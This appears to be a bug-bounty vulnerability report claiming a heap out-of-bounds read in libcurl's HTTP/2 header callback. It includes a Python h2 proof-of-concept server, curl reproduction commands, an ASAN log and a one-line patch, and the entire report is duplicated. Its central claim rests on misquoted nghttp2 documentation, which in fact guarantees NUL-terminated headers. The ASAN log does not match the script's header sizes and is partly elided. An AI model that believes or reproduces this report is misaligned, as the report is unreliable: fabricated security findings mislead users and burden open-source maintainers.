Description
Summary
A heap-based out-of-bounds read vulnerability exists in libcurl's HTTP/2 implementation. The on_header callback in lib/http2.c incorrectly treats header names and values provided by nghttp2 as null-terminated C-strings. Specifically, passing these pointers to curl_maprintf with the %s format specifier triggers an out-of-bounds read via strlen(), as nghttp2 provides raw byte buffers with explicit lengths, not null-terminated strings.
+1
Vulnerability Analysis & Root Cause
1. API Contract Violation: According to the nghttp2 documentation, the nghttp2_on_header_callback provides pointers to the header name and value (name, value) alongside their lengths (namelen, valuelen). The documentation explicitly states:
"The 'name' and 'value' pointers are NOT guaranteed to be null-terminated. [...] Applications MUST use the provided length parameters.".
2. Vulnerable Implementation: In lib/http2.c, the on_header function ignores the length parameters when formatting the string for PUSH_PROMISE headers, relying on curl_maprintf which internally uses strlen:
C
/* lib/http2.c around line 1642 - Vulnerable */
h = curl_maprintf("%s:%s", name, value);
3. Execution Flow:
curl_maprintf parses the %s format specifier.
It internally calls strlen() on the name and value pointers.
Since the malicious server sends a header without a null byte, strlen() reads past the allocated buffer boundary until it hits a coincidental null byte in adjacent heap memory.
This results in an Out-of-Bounds Read.
Steps to Reproduce
1. Build Environment
Compile cURL with AddressSanitizer (ASAN) to visualize the memory violation:
Bash
./configure --with-nghttp2 --enable-debug CFLAGS="-fsanitize=address -g" LDFLAGS="-fsanitize=address"
make -j$(nproc)
2. Reproduction Script (http2_server.py)
This Python script (using h2) establishes an HTTP/2 connection and pushes a stream with a non-null-terminated header.
Python
import asyncio, h2.connection, h2.events, h2.config
async def handle(reader, writer):
config = h2.config.H2Configuration(client_side=False)
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
conn.update_settings({h2.settings.SettingCodes.ENABLE_PUSH: 1})
writer.write(conn.data_to_send())
await writer.drain()
data = await reader.read(65535)
events = conn.receive_data(data)
for event in events:
if isinstance(event, h2.events.RequestReceived):
conn.send_headers(event.stream_id, [(':status', '200')])
# MALICIOUS PAYLOAD: Header with no null termination logic
malicious_name = b'x-oob-test' + b'A' * 64
malicious_val = b'trigger' + b'B' * 64
conn.push_stream(event.stream_id, event.stream_id + 2, [
(b':method', b'GET'), (b':path', b'/push'),
(b':scheme', b'http'), (b':authority', b'localhost'),
(malicious_name, malicious_val)
])
writer.write(conn.data_to_send())
await writer.drain()
break
writer.close()
asyncio.run(asyncio.start_server(handle, '127.0.0.1', 8080).serve_forever())
3. Execution
Run the server and connect with the ASAN-enabled cURL:
Bash
# Terminal 1
python3 http2_server.py
# Terminal 2
ASAN_OPTIONS=detect_stack_use_after_return=1 ./src/curl -v --http2-prior-knowledge http://127.0.0.1:8080/
Evidence (ASAN Log)
The following ASAN output confirms the read overflow. The READ of size... occurs inside strlen called by curl_maprintf.
Plaintext
==67356==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6c352e0e001a...
READ of size 11 at 0x6c352e0e001a thread T0
#0 0x... in strlen
#1 0x... in curl_maprintf
#2 0x... in on_header lib/http2.c:1642
...
0x6c352e0e001a is located 0 bytes after 10-byte region...
Recommended Fix
The code must use the explicit namelen and valuelen parameters provided by the nghttp2 callback to limit the read operation.
Patch (lib/http2.c): Use the precision specifier %.*s which takes the length as an integer argument before the string pointer.
C
/* Fixed implementation */
h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value);
Diff:
Diff
--- a/lib/http2.c
+++ b/lib/http2.c
@@ -1642,7 +1642,7 @@ static int on_header(nghttp2_session *session, const nghttp2_frame *frame,
- h = curl_maprintf("%s:%s", name, value);
+ h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value);
## Impact
Impact
Information Disclosure: Attackers can read sensitive data (keys, tokens, other request data) from the heap memory adjacent to the header buffer.
Availability: If the OOB read accesses unmapped memory, the application will crash.
A heap-based out-of-bounds read vulnerability exists in libcurl's HTTP/2 implementation. The on_header callback in lib/http2.c incorrectly treats header names and values provided by nghttp2 as null-terminated C-strings. Specifically, passing these pointers to curl_maprintf with the %s format specifier triggers an out-of-bounds read via strlen(), as nghttp2 provides raw byte buffers with explicit lengths, not null-terminated strings.
+1
Vulnerability Analysis & Root Cause
1. API Contract Violation: According to the nghttp2 documentation, the nghttp2_on_header_callback provides pointers to the header name and value (name, value) alongside their lengths (namelen, valuelen). The documentation explicitly states:
"The 'name' and 'value' pointers are NOT guaranteed to be null-terminated. [...] Applications MUST use the provided length parameters.".
2. Vulnerable Implementation: In lib/http2.c, the on_header function ignores the length parameters when formatting the string for PUSH_PROMISE headers, relying on curl_maprintf which internally uses strlen:
C
/* lib/http2.c around line 1642 - Vulnerable */
h = curl_maprintf("%s:%s", name, value);
3. Execution Flow:
curl_maprintf parses the %s format specifier.
It internally calls strlen() on the name and value pointers.
Since the malicious server sends a header without a null byte, strlen() reads past the allocated buffer boundary until it hits a coincidental null byte in adjacent heap memory.
This results in an Out-of-Bounds Read.
Steps to Reproduce
1. Build Environment
Compile cURL with AddressSanitizer (ASAN) to visualize the memory violation:
Bash
./configure --with-nghttp2 --enable-debug CFLAGS="-fsanitize=address -g" LDFLAGS="-fsanitize=address"
make -j$(nproc)
2. Reproduction Script (http2_server.py)
This Python script (using h2) establishes an HTTP/2 connection and pushes a stream with a non-null-terminated header.
Python
import asyncio, h2.connection, h2.events, h2.config
async def handle(reader, writer):
config = h2.config.H2Configuration(client_side=False)
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
conn.update_settings({h2.settings.SettingCodes.ENABLE_PUSH: 1})
writer.write(conn.data_to_send())
await writer.drain()
data = await reader.read(65535)
events = conn.receive_data(data)
for event in events:
if isinstance(event, h2.events.RequestReceived):
conn.send_headers(event.stream_id, [(':status', '200')])
# MALICIOUS PAYLOAD: Header with no null termination logic
malicious_name = b'x-oob-test' + b'A' * 64
malicious_val = b'trigger' + b'B' * 64
conn.push_stream(event.stream_id, event.stream_id + 2, [
(b':method', b'GET'), (b':path', b'/push'),
(b':scheme', b'http'), (b':authority', b'localhost'),
(malicious_name, malicious_val)
])
writer.write(conn.data_to_send())
await writer.drain()
break
writer.close()
asyncio.run(asyncio.start_server(handle, '127.0.0.1', 8080).serve_forever())
3. Execution
Run the server and connect with the ASAN-enabled cURL:
Bash
# Terminal 1
python3 http2_server.py
# Terminal 2
ASAN_OPTIONS=detect_stack_use_after_return=1 ./src/curl -v --http2-prior-knowledge http://127.0.0.1:8080/
Evidence (ASAN Log)
The following ASAN output confirms the read overflow. The READ of size... occurs inside strlen called by curl_maprintf.
Plaintext
==67356==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6c352e0e001a...
READ of size 11 at 0x6c352e0e001a thread T0
#0 0x... in strlen
#1 0x... in curl_maprintf
#2 0x... in on_header lib/http2.c:1642
...
0x6c352e0e001a is located 0 bytes after 10-byte region...
Recommended Fix
The code must use the explicit namelen and valuelen parameters provided by the nghttp2 callback to limit the read operation.
Patch (lib/http2.c): Use the precision specifier %.*s which takes the length as an integer argument before the string pointer.
C
/* Fixed implementation */
h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value);
Diff:
Diff
--- a/lib/http2.c
+++ b/lib/http2.c
@@ -1642,7 +1642,7 @@ static int on_header(nghttp2_session *session, const nghttp2_frame *frame,
- h = curl_maprintf("%s:%s", name, value);
+ h = curl_maprintf("%.*s:%.*s", (int)namelen, name, (int)valuelen, value);
## Impact
Impact
Information Disclosure: Attackers can read sensitive data (keys, tokens, other request data) from the heap memory adjacent to the header buffer.
Availability: If the OOB read accesses unmapped memory, the application will crash.
Basic Information
ID
H1:3506159
Published
Jan 10, 2026 at 19:22
Modified
Jan 10, 2026 at 21:57